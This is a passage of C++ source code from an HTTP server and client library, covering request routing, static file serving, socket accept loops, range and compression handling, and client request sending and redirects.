   auto ret = multipart_form_data_parser.parse(\n            buf + pos, read_size, multipart_receiver, multipart_header);\n        if (!ret) { return false; }\n        pos += read_size;\n      }\n      return true;\n      */\n      return multipart_form_data_parser.parse(buf, n, multipart_receiver,\n                                              multipart_header);\n    };\n  } else {\n    out = [receiver](const char *buf, size_t n, uint64_t /*off*/,\n                     uint64_t /*len*/) { return receiver(buf, n); };\n  }\n\n  if (req.method == \"DELETE\" && !req.has_header(\"Content-Length\")) {\n    return true;\n  }\n\n  if (!detail::read_content(strm, req, payload_max_length_, res.status, nullptr,\n                            out, true)) {\n    return false;\n  }\n\n  if (req.is_multipart_form_data()) {\n    if (!multipart_form_data_parser.is_valid()) {\n      res.status = StatusCode::BadRequest_400;\n      return false;\n    }\n  }\n\n  return true;\n}\n\ninline bool Server::handle_file_request(const Request &req, Response &res,\n                                        bool head) {\n  for (const auto &entry : base_dirs_) {\n    // Prefix match\n    if (!req.path.compare(0, entry.mount_point.size(), entry.mount_point)) {\n      std::string sub_path = \"/\" + req.path.substr(entry.mount_point.size());\n      if (detail::is_valid_path(sub_path)) {\n        auto path = entry.base_dir + sub_path;\n        if (path.back() == '/') { path += \"index.html\"; }\n\n        if (detail::is_file(path)) {\n          for (const auto &kv : entry.headers) {\n            res.set_header(kv.first, kv.second);\n          }\n\n          auto mm = std::make_shared<detail::mmap>(path.c_str());\n          if (!mm->is_open()) { return false; }\n\n          res.set_content_provider(\n              mm->size(),\n              detail::find_content_type(path, file_extension_and_mimetype_map_,\n                                        default_file_mimetype_),\n              [mm](size_t offset, size_t length, DataSink &sink) -> bool {\n                sink.write(mm->data() + offset, length);\n                return true;\n              });\n\n          if (!head && file_request_handler_) {\n            file_request_handler_(req, res);\n          }\n\n          return true;\n        }\n      }\n    }\n  }\n  return false;\n}\n\ninline socket_t\nServer::create_server_socket(const std::string &host, int port,\n                             int socket_flags,\n                             SocketOptions socket_options) const {\n  return detail::create_socket(\n      host, std::string(), port, address_family_, socket_flags, tcp_nodelay_,\n      std::move(socket_options),\n      [](socket_t sock, struct addrinfo &ai, bool & /*quit*/) -> bool {\n        if (::bind(sock, ai.ai_addr, static_cast<socklen_t>(ai.ai_addrlen))) {\n          return false;\n        }\n        if (::listen(sock, CPPHTTPLIB_LISTEN_BACKLOG)) { return false; }\n        return true;\n      });\n}\n\ninline int Server::bind_internal(const std::string &host, int port,\n                                 int socket_flags) {\n  if (!is_valid()) { return -1; }\n\n  svr_sock_ = create_server_socket(host, port, socket_flags, socket_options_);\n  if (svr_sock_ == INVALID_SOCKET) { return -1; }\n\n  if (port == 0) {\n    struct sockaddr_storage addr;\n    socklen_t addr_len = sizeof(addr);\n    if (getsockname(svr_sock_, reinterpret_cast<struct sockaddr *>(&addr),\n                    &addr_len) == -1) {\n      return -1;\n    }\n    if (addr.ss_family == AF_INET) {\n      return ntohs(reinterpret_cast<struct sockaddr_in *>(&addr)->sin_port);\n    } else if (addr.ss_family == AF_INET6) {\n      return ntohs(reinterpret_cast<struct sockaddr_in6 *>(&addr)->sin6_port);\n    } else {\n      return -1;\n    }\n  } else {\n    return port;\n  }\n}\n\ninline bool Server::listen_internal() {\n  auto ret = true;\n  is_running_ = true;\n  auto se = detail::scope_exit([&]() { is_running_ = false; });\n\n  {\n    std::unique_ptr<TaskQueue> task_queue(new_task_queue());\n\n    while (svr_sock_ != INVALID_SOCKET) {\n#ifndef _WIN32\n      if (idle_interval_sec_ > 0 || idle_interval_usec_ > 0) {\n#endif\n        auto val = detail::select_read(svr_sock_, idle_interval_sec_,\n                                       idle_interval_usec_);\n        if (val == 0) { // Timeout\n          task_queue->on_idle();\n          continue;\n        }\n#ifndef _WIN32\n      }\n#endif\n\n#if defined _WIN32\n      // sockets conneced via WASAccept inherit flags NO_HANDLE_INHERIT,\n      // OVERLAPPED\n      socket_t sock = WSAAccept(svr_sock_, nullptr, nullptr, nullptr, 0);\n#elif defined SOCK_CLOEXEC\n      socket_t sock = accept4(svr_sock_, nullptr, nullptr, SOCK_CLOEXEC);\n#else\n      socket_t sock = accept(svr_sock_, nullptr, nullptr);\n#endif\n\n      if (sock == INVALID_SOCKET) {\n        if (errno == EMFILE) {\n          // The per-process limit of open file descriptors has been reached.\n          // Try to accept new connections after a short sleep.\n          std::this_thread::sleep_for(std::chrono::milliseconds(1));\n          continue;\n        } else if (errno == EINTR || errno == EAGAIN) {\n          continue;\n        }\n        if (svr_sock_ != INVALID_SOCKET) {\n          detail::close_socket(svr_sock_);\n          ret = false;\n        } else {\n          ; // The server socket was closed by user.\n        }\n        break;\n      }\n\n      {\n#ifdef _WIN32\n        auto timeout = static_cast<uint32_t>(read_timeout_sec_ * 1000 +\n                                             read_timeout_usec_ / 1000);\n        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,\n                   reinterpret_cast<const char *>(&timeout), sizeof(timeout));\n#else\n        timeval tv;\n        tv.tv_sec = static_cast<long>(read_timeout_sec_);\n        tv.tv_usec = static_cast<decltype(tv.tv_usec)>(read_timeout_usec_);\n        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,\n                   reinterpret_cast<const void *>(&tv), sizeof(tv));\n#endif\n      }\n      {\n\n#ifdef _WIN32\n        auto timeout = static_cast<uint32_t>(write_timeout_sec_ * 1000 +\n                                             write_timeout_usec_ / 1000);\n        setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO,\n                   reinterpret_cast<const char *>(&timeout), sizeof(timeout));\n#else\n        timeval tv;\n        tv.tv_sec = static_cast<long>(write_timeout_sec_);\n        tv.tv_usec = static_cast<decltype(tv.tv_usec)>(write_timeout_usec_);\n        setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO,\n                   reinterpret_cast<const void *>(&tv), sizeof(tv));\n#endif\n      }\n\n      if (!task_queue->enqueue(\n              [this, sock]() { process_and_close_socket(sock); })) {\n        detail::shutdown_socket(sock);\n        detail::close_socket(sock);\n      }\n    }\n\n    task_queue->shutdown();\n  }\n\n  return ret;\n}\n\ninline bool Server::routing(Request &req, Response &res, Stream &strm) {\n  if (pre_routing_handler_ &&\n      pre_routing_handler_(req, res) == HandlerResponse::Handled) {\n    return true;\n  }\n\n  // File handler\n  auto is_head_request = req.method == \"HEAD\";\n  if ((req.method == \"GET\" || is_head_request) &&\n      handle_file_request(req, res, is_head_request)) {\n    return true;\n  }\n\n  if (detail::expect_content(req)) {\n    // Content reader handler\n    {\n      ContentReader reader(\n          [&](ContentReceiver receiver) {\n            return read_content_with_content_receiver(\n                strm, req, res, std::move(receiver), nullptr, nullptr);\n          },\n          [&](MultipartContentHeader header, ContentReceiver receiver) {\n            return read_content_with_content_receiver(strm, req, res, nullptr,\n                                                      std::move(header),\n                                                      std::move(receiver));\n          });\n\n      if (req.method == \"POST\") {\n        if (dispatch_request_for_content_reader(\n                req, res, std::move(reader),\n                post_handlers_for_content_reader_)) {\n          return true;\n        }\n      } else if (req.method == \"PUT\") {\n        if (dispatch_request_for_content_reader(\n                req, res, std::move(reader),\n                put_handlers_for_content_reader_)) {\n          return true;\n        }\n      } else if (req.method == \"PATCH\") {\n        if (dispatch_request_for_content_reader(\n                req, res, std::move(reader),\n                patch_handlers_for_content_reader_)) {\n          return true;\n        }\n      } else if (req.method == \"DELETE\") {\n        if (dispatch_request_for_content_reader(\n                req, res, std::move(reader),\n                delete_handlers_for_content_reader_)) {\n          return true;\n        }\n      }\n    }\n\n    // Read content into `req.body`\n    if (!read_content(strm, req, res)) { return false; }\n  }\n\n  // Regular handler\n  if (req.method == \"GET\" || req.method == \"HEAD\") {\n    return dispatch_request(req, res, get_handlers_);\n  } else if (req.method == \"POST\") {\n    return dispatch_request(req, res, post_handlers_);\n  } else if (req.method == \"PUT\") {\n    return dispatch_request(req, res, put_handlers_);\n  } else if (req.method == \"DELETE\") {\n    return dispatch_request(req, res, delete_handlers_);\n  } else if (req.method == \"OPTIONS\") {\n    return dispatch_request(req, res, options_handlers_);\n  } else if (req.method == \"PATCH\") {\n    return dispatch_request(req, res, patch_handlers_);\n  }\n\n  res.status = StatusCode::BadRequest_400;\n  return false;\n}\n\ninline bool Server::dispatch_request(Request &req, Response &res,\n                                     const Handlers &handlers) const {\n  for (const auto &x : handlers) {\n    const auto &matcher = x.first;\n    const auto &handler = x.second;\n\n    if (matcher->match(req)) {\n      handler(req, res);\n      return true;\n    }\n  }\n  return false;\n}\n\ninline void Server::apply_ranges(const Request &req, Response &res,\n                                 std::string &content_type,\n                                 std::string &boundary) const {\n  if (req.ranges.size() > 1 && res.status == StatusCode::PartialContent_206) {\n    auto it = res.headers.find(\"Content-Type\");\n    if (it != res.headers.end()) {\n      content_type = it->second;\n      res.headers.erase(it);\n    }\n\n    boundary = detail::make_multipart_data_boundary();\n\n    res.set_header(\"Content-Type\",\n                   \"multipart/byteranges; boundary=\" + boundary);\n  }\n\n  auto type = detail::encoding_type(req, res);\n\n  if (res.body.empty()) {\n    if (res.content_length_ > 0) {\n      size_t length = 0;\n      if (req.ranges.empty() || res.status != StatusCode::PartialContent_206) {\n        length = res.content_length_;\n      } else if (req.ranges.size() == 1) {\n        auto offset_and_length = detail::get_range_offset_and_length(\n            req.ranges[0], res.content_length_);\n\n        length = offset_and_length.second;\n\n        auto content_range = detail::make_content_range_header_field(\n            offset_and_length, res.content_length_);\n        res.set_header(\"Content-Range\", content_range);\n      } else {\n        length = detail::get_multipart_ranges_data_length(\n            req, boundary, content_type, res.content_length_);\n      }\n      res.set_header(\"Content-Length\", std::to_string(length));\n    } else {\n      if (res.content_provider_) {\n        if (res.is_chunked_content_provider_) {\n          res.set_header(\"Transfer-Encoding\", \"chunked\");\n          if (type == detail::EncodingType::Gzip) {\n            res.set_header(\"Content-Encoding\", \"gzip\");\n          } else if (type == detail::EncodingType::Brotli) {\n            res.set_header(\"Content-Encoding\", \"br\");\n          }\n        }\n      }\n    }\n  } else {\n    if (req.ranges.empty() || res.status != StatusCode::PartialContent_206) {\n      ;\n    } else if (req.ranges.size() == 1) {\n      auto offset_and_length =\n          detail::get_range_offset_and_length(req.ranges[0], res.body.size());\n      auto offset = offset_and_length.first;\n      auto length = offset_and_length.second;\n\n      auto content_range = detail::make_content_range_header_field(\n          offset_and_length, res.body.size());\n      res.set_header(\"Content-Range\", content_range);\n\n      assert(offset + length <= res.body.size());\n      res.body = res.body.substr(offset, length);\n    } else {\n      std::string data;\n      detail::make_multipart_ranges_data(req, res, boundary, content_type,\n                                         res.body.size(), data);\n      res.body.swap(data);\n    }\n\n    if (type != detail::EncodingType::None) {\n      std::unique_ptr<detail::compressor> compressor;\n      std::string content_encoding;\n\n      if (type == detail::EncodingType::Gzip) {\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n        compressor = detail::make_unique<detail::gzip_compressor>();\n        content_encoding = \"gzip\";\n#endif\n      } else if (type == detail::EncodingType::Brotli) {\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\n        compressor = detail::make_unique<detail::brotli_compressor>();\n        content_encoding = \"br\";\n#endif\n      }\n\n      if (compressor) {\n        std::string compressed;\n        if (compressor->compress(res.body.data(), res.body.size(), true,\n                                 [&](const char *data, size_t data_len) {\n                                   compressed.append(data, data_len);\n                                   return true;\n                                 })) {\n          res.body.swap(compressed);\n          res.set_header(\"Content-Encoding\", content_encoding);\n        }\n      }\n    }\n\n    auto length = std::to_string(res.body.size());\n    res.set_header(\"Content-Length\", length);\n  }\n}\n\ninline bool Server::dispatch_request_for_content_reader(\n    Request &req, Response &res, ContentReader content_reader,\n    const HandlersForContentReader &handlers) const {\n  for (const auto &x : handlers) {\n    const auto &matcher = x.first;\n    const auto &handler = x.second;\n\n    if (matcher->match(req)) {\n      handler(req, res, content_reader);\n      return true;\n    }\n  }\n  return false;\n}\n\ninline bool\nServer::process_request(Stream &strm, bool close_connection,\n                        bool &connection_closed,\n                        const std::function<void(Request &)> &setup_request) {\n  std::array<char, 2048> buf{};\n\n  detail::stream_line_reader line_reader(strm, buf.data(), buf.size());\n\n  // Connection has been closed on client\n  if (!line_reader.getline()) { return false; }\n\n  Request req;\n\n  Response res;\n  res.version = \"HTTP/1.1\";\n  res.headers = default_headers_;\n\n#ifdef _WIN32\n  // TODO: Increase FD_SETSIZE statically (libzmq), dynamically (MySQL).\n#else\n#ifndef CPPHTTPLIB_USE_POLL\n  // Socket file descriptor exceeded FD_SETSIZE...\n  if (strm.socket() >= FD_SETSIZE) {\n    Headers dummy;\n    detail::read_headers(strm, dummy);\n    res.status = StatusCode::InternalServerError_500;\n    return write_response(strm, close_connection, req, res);\n  }\n#endif\n#endif\n\n  // Check if the request URI doesn't exceed the limit\n  if (line_reader.size() > CPPHTTPLIB_REQUEST_URI_MAX_LENGTH) {\n    Headers dummy;\n    detail::read_headers(strm, dummy);\n    res.status = StatusCode::UriTooLong_414;\n    return write_response(strm, close_connection, req, res);\n  }\n\n  // Request line and headers\n  if (!parse_request_line(line_reader.ptr(), req) ||\n      !detail::read_headers(strm, req.headers)) {\n    res.status = StatusCode::BadRequest_400;\n    return write_response(strm, close_connection, req, res);\n  }\n\n  if (req.get_header_value(\"Connection\") == \"close\") {\n    connection_closed = true;\n  }\n\n  if (req.version == \"HTTP/1.0\" &&\n      req.get_header_value(\"Connection\") != \"Keep-Alive\") {\n    connection_closed = true;\n  }\n\n  strm.get_remote_ip_and_port(req.remote_addr, req.remote_port);\n  req.set_header(\"REMOTE_ADDR\", req.remote_addr);\n  req.set_header(\"REMOTE_PORT\", std::to_string(req.remote_port));\n\n  strm.get_local_ip_and_port(req.local_addr, req.local_port);\n  req.set_header(\"LOCAL_ADDR\", req.local_addr);\n  req.set_header(\"LOCAL_PORT\", std::to_string(req.local_port));\n\n  if (req.has_header(\"Range\")) {\n    const auto &range_header_value = req.get_header_value(\"Range\");\n    if (!detail::parse_range_header(range_header_value, req.ranges)) {\n      res.status = StatusCode::RangeNotSatisfiable_416;\n      return write_response(strm, close_connection, req, res);\n    }\n  }\n\n  if (setup_request) { setup_request(req); }\n\n  if (req.get_header_value(\"Expect\") == \"100-continue\") {\n    int status = StatusCode::Continue_100;\n    if (expect_100_continue_handler_) {\n      status = expect_100_continue_handler_(req, res);\n    }\n    switch (status) {\n    case StatusCode::Continue_100:\n    case StatusCode::ExpectationFailed_417:\n      strm.write_format(\"HTTP/1.1 %d %s\\r\\n\\r\\n\", status,\n                        status_message(status));\n      break;\n    default: return write_response(strm, close_connection, req, res);\n    }\n  }\n\n  // Routing\n  auto routed = false;\n#ifdef CPPHTTPLIB_NO_EXCEPTIONS\n  routed = routing(req, res, strm);\n#else\n  try {\n    routed = routing(req, res, strm);\n  } catch (std::exception &e) {\n    if (exception_handler_) {\n      auto ep = std::current_exception();\n      exception_handler_(req, res, ep);\n      routed = true;\n    } else {\n      res.status = StatusCode::InternalServerError_500;\n      std::string val;\n      auto s = e.what();\n      for (size_t i = 0; s[i]; i++) {\n        switch (s[i]) {\n        case '\\r': val += \"\\\\r\"; break;\n        case '\\n': val += \"\\\\n\"; break;\n        default: val += s[i]; break;\n        }\n      }\n      res.set_header(\"EXCEPTION_WHAT\", val);\n    }\n  } catch (...) {\n    if (exception_handler_) {\n      auto ep = std::current_exception();\n      exception_handler_(req, res, ep);\n      routed = true;\n    } else {\n      res.status = StatusCode::InternalServerError_500;\n      res.set_header(\"EXCEPTION_WHAT\", \"UNKNOWN\");\n    }\n  }\n#endif\n  if (routed) {\n    if (res.status == -1) {\n      res.status = req.ranges.empty() ? StatusCode::OK_200\n                                      : StatusCode::PartialContent_206;\n    }\n\n    if (detail::range_error(req, res)) {\n      res.body.clear();\n      res.content_length_ = 0;\n      res.content_provider_ = nullptr;\n      res.status = StatusCode::RangeNotSatisfiable_416;\n      return write_response(strm, close_connection, req, res);\n    }\n\n    return write_response_with_content(strm, close_connection, req, res);\n  } else {\n    if (res.status == -1) { res.status = StatusCode::NotFound_404; }\n\n    return write_response(strm, close_connection, req, res);\n  }\n}\n\ninline bool Server::is_valid() const { return true; }\n\ninline bool Server::process_and_close_socket(socket_t sock) {\n  auto ret = detail::process_server_socket(\n      svr_sock_, sock, keep_alive_max_count_, keep_alive_timeout_sec_,\n      read_timeout_sec_, read_timeout_usec_, write_timeout_sec_,\n      write_timeout_usec_,\n      [this](Stream &strm, bool close_connection, bool &connection_closed) {\n        return process_request(strm, close_connection, connection_closed,\n                               nullptr);\n      });\n\n  detail::shutdown_socket(sock);\n  detail::close_socket(sock);\n  return ret;\n}\n\n// HTTP client implementation\ninline ClientImpl::ClientImpl(const std::string &host)\n    : ClientImpl(host, 80, std::string(), std::string()) {}\n\ninline ClientImpl::ClientImpl(const std::string &host, int port)\n    : ClientImpl(host, port, std::string(), std::string()) {}\n\ninline ClientImpl::ClientImpl(const std::string &host, int port,\n                              const std::string &client_cert_path,\n                              const std::string &client_key_path)\n    : host_(host), port_(port),\n      host_and_port_(adjust_host_string(host) + \":\" + std::to_string(port)),\n      client_cert_path_(client_cert_path), client_key_path_(client_key_path) {}\n\ninline ClientImpl::~ClientImpl() {\n  std::lock_guard<std::mutex> guard(socket_mutex_);\n  shutdown_socket(socket_);\n  close_socket(socket_);\n}\n\ninline bool ClientImpl::is_valid() const { return true; }\n\ninline void ClientImpl::copy_settings(const ClientImpl &rhs) {\n  client_cert_path_ = rhs.client_cert_path_;\n  client_key_path_ = rhs.client_key_path_;\n  connection_timeout_sec_ = rhs.connection_timeout_sec_;\n  read_timeout_sec_ = rhs.read_timeout_sec_;\n  read_timeout_usec_ = rhs.read_timeout_usec_;\n  write_timeout_sec_ = rhs.write_timeout_sec_;\n  write_timeout_usec_ = rhs.write_timeout_usec_;\n  basic_auth_username_ = rhs.basic_auth_username_;\n  basic_auth_password_ = rhs.basic_auth_password_;\n  bearer_token_auth_token_ = rhs.bearer_token_auth_token_;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  digest_auth_username_ = rhs.digest_auth_username_;\n  digest_auth_password_ = rhs.digest_auth_password_;\n#endif\n  keep_alive_ = rhs.keep_alive_;\n  follow_location_ = rhs.follow_location_;\n  url_encode_ = rhs.url_encode_;\n  address_family_ = rhs.address_family_;\n  tcp_nodelay_ = rhs.tcp_nodelay_;\n  socket_options_ = rhs.socket_options_;\n  compress_ = rhs.compress_;\n  decompress_ = rhs.decompress_;\n  interface_ = rhs.interface_;\n  proxy_host_ = rhs.proxy_host_;\n  proxy_port_ = rhs.proxy_port_;\n  proxy_basic_auth_username_ = rhs.proxy_basic_auth_username_;\n  proxy_basic_auth_password_ = rhs.proxy_basic_auth_password_;\n  proxy_bearer_token_auth_token_ = rhs.proxy_bearer_token_auth_token_;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  proxy_digest_auth_username_ = rhs.proxy_digest_auth_username_;\n  proxy_digest_auth_password_ = rhs.proxy_digest_auth_password_;\n#endif\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  ca_cert_file_path_ = rhs.ca_cert_file_path_;\n  ca_cert_dir_path_ = rhs.ca_cert_dir_path_;\n  ca_cert_store_ = rhs.ca_cert_store_;\n#endif\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  server_certificate_verification_ = rhs.server_certificate_verification_;\n#endif\n  logger_ = rhs.logger_;\n}\n\ninline socket_t ClientImpl::create_client_socket(Error &error) const {\n  if (!proxy_host_.empty() && proxy_port_ != -1) {\n    return detail::create_client_socket(\n        proxy_host_, std::string(), proxy_port_, address_family_, tcp_nodelay_,\n        socket_options_, connection_timeout_sec_, connection_timeout_usec_,\n        read_timeout_sec_, read_timeout_usec_, write_timeout_sec_,\n        write_timeout_usec_, interface_, error);\n  }\n\n  // Check is custom IP specified for host_\n  std::string ip;\n  auto it = addr_map_.find(host_);\n  if (it != addr_map_.end()) { ip = it->second; }\n\n  return detail::create_client_socket(\n      host_, ip, port_, address_family_, tcp_nodelay_, socket_options_,\n      connection_timeout_sec_, connection_timeout_usec_, read_timeout_sec_,\n      read_timeout_usec_, write_timeout_sec_, write_timeout_usec_, interface_,\n      error);\n}\n\ninline bool ClientImpl::create_and_connect_socket(Socket &socket,\n                                                  Error &error) {\n  auto sock = create_client_socket(error);\n  if (sock == INVALID_SOCKET) { return false; }\n  socket.sock = sock;\n  return true;\n}\n\ninline void ClientImpl::shutdown_ssl(Socket & /*socket*/,\n                                     bool /*shutdown_gracefully*/) {\n  // If there are any requests in flight from threads other than us, then it's\n  // a thread-unsafe race because individual ssl* objects are not thread-safe.\n  assert(socket_requests_in_flight_ == 0 ||\n         socket_requests_are_from_thread_ == std::this_thread::get_id());\n}\n\ninline void ClientImpl::shutdown_socket(Socket &socket) const {\n  if (socket.sock == INVALID_SOCKET) { return; }\n  detail::shutdown_socket(socket.sock);\n}\n\ninline void ClientImpl::close_socket(Socket &socket) {\n  // If there are requests in flight in another thread, usually closing\n  // the socket will be fine and they will simply receive an error when\n  // using the closed socket, but it is still a bug since rarely the OS\n  // may reassign the socket id to be used for a new socket, and then\n  // suddenly they will be operating on a live socket that is different\n  // than the one they intended!\n  assert(socket_requests_in_flight_ == 0 ||\n         socket_requests_are_from_thread_ == std::this_thread::get_id());\n\n  // It is also a bug if this happens while SSL is still active\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  assert(socket.ssl == nullptr);\n#endif\n  if (socket.sock == INVALID_SOCKET) { return; }\n  detail::close_socket(socket.sock);\n  socket.sock = INVALID_SOCKET;\n}\n\ninline bool ClientImpl::read_response_line(Stream &strm, const Request &req,\n                                           Response &res) const {\n  std::array<char, 2048> buf{};\n\n  detail::stream_line_reader line_reader(strm, buf.data(), buf.size());\n\n  if (!line_reader.getline()) { return false; }\n\n#ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR\n  const static std::regex re(\"(HTTP/1\\\\.[01]) (\\\\d{3})(?: (.*?))?\\r?\\n\");\n#else\n  const static std::regex re(\"(HTTP/1\\\\.[01]) (\\\\d{3})(?: (.*?))?\\r\\n\");\n#endif\n\n  std::cmatch m;\n  if (!std::regex_match(line_reader.ptr(), m, re)) {\n    return req.method == \"CONNECT\";\n  }\n  res.version = std::string(m[1]);\n  res.status = std::stoi(std::string(m[2]));\n  res.reason = std::string(m[3]);\n\n  // Ignore '100 Continue'\n  while (res.status == StatusCode::Continue_100) {\n    if (!line_reader.getline()) { return false; } // CRLF\n    if (!line_reader.getline()) { return false; } // next response line\n\n    if (!std::regex_match(line_reader.ptr(), m, re)) { return false; }\n    res.version = std::string(m[1]);\n    res.status = std::stoi(std::string(m[2]));\n    res.reason = std::string(m[3]);\n  }\n\n  return true;\n}\n\ninline bool ClientImpl::send(Request &req, Response &res, Error &error) {\n  std::lock_guard<std::recursive_mutex> request_mutex_guard(request_mutex_);\n  auto ret = send_(req, res, error);\n  if (error == Error::SSLPeerCouldBeClosed_) {\n    assert(!ret);\n    ret = send_(req, res, error);\n  }\n  return ret;\n}\n\ninline bool ClientImpl::send_(Request &req, Response &res, Error &error) {\n  {\n    std::lock_guard<std::mutex> guard(socket_mutex_);\n\n    // Set this to false immediately - if it ever gets set to true by the end of\n    // the request, we know another thread instructed us to close the socket.\n    socket_should_be_closed_when_request_is_done_ = false;\n\n    auto is_alive = false;\n    if (socket_.is_open()) {\n      is_alive = detail::is_socket_alive(socket_.sock);\n      if (!is_alive) {\n        // Attempt to avoid sigpipe by shutting down nongracefully if it seems\n        // like the other side has already closed the connection Also, there\n        // cannot be any requests in flight from other threads since we locked\n        // request_mutex_, so safe to close everything immediately\n        const bool shutdown_gracefully = false;\n        shutdown_ssl(socket_, shutdown_gracefully);\n        shutdown_socket(socket_);\n        close_socket(socket_);\n      }\n    }\n\n    if (!is_alive) {\n      if (!create_and_connect_socket(socket_, error)) { return false; }\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n      // TODO: refactoring\n      if (is_ssl()) {\n        auto &scli = static_cast<SSLClient &>(*this);\n        if (!proxy_host_.empty() && proxy_port_ != -1) {\n          auto success = false;\n          if (!scli.connect_with_proxy(socket_, res, success, error)) {\n            return success;\n          }\n        }\n\n        if (!scli.initialize_ssl(socket_, error)) { return false; }\n      }\n#endif\n    }\n\n    // Mark the current socket as being in use so that it cannot be closed by\n    // anyone else while this request is ongoing, even though we will be\n    // releasing the mutex.\n    if (socket_requests_in_flight_ > 1) {\n      assert(socket_requests_are_from_thread_ == std::this_thread::get_id());\n    }\n    socket_requests_in_flight_ += 1;\n    socket_requests_are_from_thread_ = std::this_thread::get_id();\n  }\n\n  for (const auto &header : default_headers_) {\n    if (req.headers.find(header.first) == req.headers.end()) {\n      req.headers.insert(header);\n    }\n  }\n\n  auto ret = false;\n  auto close_connection = !keep_alive_;\n\n  auto se = detail::scope_exit([&]() {\n    // Briefly lock mutex in order to mark that a request is no longer ongoing\n    std::lock_guard<std::mutex> guard(socket_mutex_);\n    socket_requests_in_flight_ -= 1;\n    if (socket_requests_in_flight_ <= 0) {\n      assert(socket_requests_in_flight_ == 0);\n      socket_requests_are_from_thread_ = std::thread::id();\n    }\n\n    if (socket_should_be_closed_when_request_is_done_ || close_connection ||\n        !ret) {\n      shutdown_ssl(socket_, true);\n      shutdown_socket(socket_);\n      close_socket(socket_);\n    }\n  });\n\n  ret = process_socket(socket_, [&](Stream &strm) {\n    return handle_request(strm, req, res, close_connection, error);\n  });\n\n  if (!ret) {\n    if (error == Error::Success) { error = Error::Unknown; }\n  }\n\n  return ret;\n}\n\ninline Result ClientImpl::send(const Request &req) {\n  auto req2 = req;\n  return send_(std::move(req2));\n}\n\ninline Result ClientImpl::send_(Request &&req) {\n  auto res = detail::make_unique<Response>();\n  auto error = Error::Success;\n  auto ret = send(req, *res, error);\n  return Result{ret ? std::move(res) : nullptr, error, std::move(req.headers)};\n}\n\ninline bool ClientImpl::handle_request(Stream &strm, Request &req,\n                                       Response &res, bool close_connection,\n                                       Error &error) {\n  if (req.path.empty()) {\n    error = Error::Connection;\n    return false;\n  }\n\n  auto req_save = req;\n\n  bool ret;\n\n  if (!is_ssl() && !proxy_host_.empty() && proxy_port_ != -1) {\n    auto req2 = req;\n    req2.path = \"http://\" + host_and_port_ + req.path;\n    ret = process_request(strm, req2, res, close_connection, error);\n    req = req2;\n    req.path = req_save.path;\n  } else {\n    ret = process_request(strm, req, res, close_connection, error);\n  }\n\n  if (!ret) { return false; }\n\n  if (res.get_header_value(\"Connection\") == \"close\" ||\n      (res.version == \"HTTP/1.0\" && res.reason != \"Connection established\")) {\n    // TODO this requires a not-entirely-obvious chain of calls to be correct\n    // for this to be safe.\n\n    // This is safe to call because handle_request is only called by send_\n    // which locks the request mutex during the process. It would be a bug\n    // to call it from a different thread since it's a thread-safety issue\n    // to do these things to the socket if another thread is using the socket.\n    std::lock_guard<std::mutex> guard(socket_mutex_);\n    shutdown_ssl(socket_, true);\n    shutdown_socket(socket_);\n    close_socket(socket_);\n  }\n\n  if (300 < res.status && res.status < 400 && follow_location_) {\n    req = req_save;\n    ret = redirect(req, res, error);\n  }\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  if ((res.status == StatusCode::Unauthorized_401 ||\n       res.status == StatusCode::ProxyAuthenticationRequired_407) &&\n      req.authorization_count_ < 5) {\n    auto is_proxy = res.status == StatusCode::ProxyAuthenticationRequired_407;\n    const auto &username =\n        is_proxy ? proxy_digest_auth_username_ : digest_auth_username_;\n    const auto &password =\n        is_proxy ? proxy_digest_auth_password_ : digest_auth_password_;\n\n    if (!username.empty() && !password.empty()) {\n      std::map<std::string, std::string> auth;\n      if (detail::parse_www_authenticate(res, auth, is_proxy)) {\n        Request new_req = req;\n        new_req.authorization_count_ += 1;\n        new_req.headers.erase(is_proxy ? \"Proxy-Authorization\"\n                                       : \"Authorization\");\n        new_req.headers.insert(detail::make_digest_authentication_header(\n            req, auth, new_req.authorization_count_, detail::random_string(10),\n            username, password, is_proxy));\n\n        Response new_res;\n\n        ret = send(new_req, new_res, error);\n        if (ret) { res = new_res; }\n      }\n    }\n  }\n#endif\n\n  return ret;\n}\n\ninline bool ClientImpl::redirect(Request &req, Response &res, Error &error) {\n  if (req.redirect_count_ == 0) {\n    error = Error::ExceedRedirectCount;\n    return false;\n  }\n\n  auto location = res.get_header_value(\"location\");\n  if (location.empty()) { return false; }\n\n  const static std::regex re(\n      R\"((?:(https?):)?(?://(?:\\[([a-fA-F\\d:]+)\\]|([^:/?#]+))(?::(\\d+))?)?([^?#]*)(\\?[^#]*)?(?:#.*)?)\");\n\n  std::smatch m;\n  if (!std::regex_match(location, m, re)) { return false; }\n\n  auto scheme = is_ssl() ? \"https\" : \"http\";\n\n  auto next_scheme = m[1].str();\n  auto next_host = m[2].str();\n  if (next_host.empty()) { next_host = m[3].str(); }\n  auto port_str = m[4].str();\n  auto next_path = m[5].str();\n  auto next_query = m[6].str();\n\n  auto next_port = port_;\n  if (!port_str.empty()) {\n    next_port = std::stoi(port_str);\n  } else if (!next_scheme.empty()) {\n    next_port = next_scheme == \"https\" ? 443 : 80;\n  }\n\n  if (next_scheme.empty()) { next_scheme = scheme; }\n  if (next_host.empty()) { next_host = host_; }\n  if (next_path.empty()) { next_path = \"/\"; }\n\n  auto path = detail::decode_url(next_path, true) + next_query;\n\n  if (next_scheme == scheme && next_host == host_ && next_port == port_) {\n    return detail::redirect(*this, req, res, path, location, error);\n  } else {\n    if (next_scheme == \"https\") {\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n      SSLClient cli(next_host, next_port);\n      cli.copy_settings(*this);\n      if (ca_cert_store_) { cli.set_ca_cert_store(ca_cert_store_); }\n      return detail::redirect(cli, req, res, path, location, error);\n#else\n      return false;\n#endif\n    } else {\n      ClientImpl cli(next_host, next_port);\n      cli.copy_settings(*this);\n      return detail::redirect(cli, req, res, 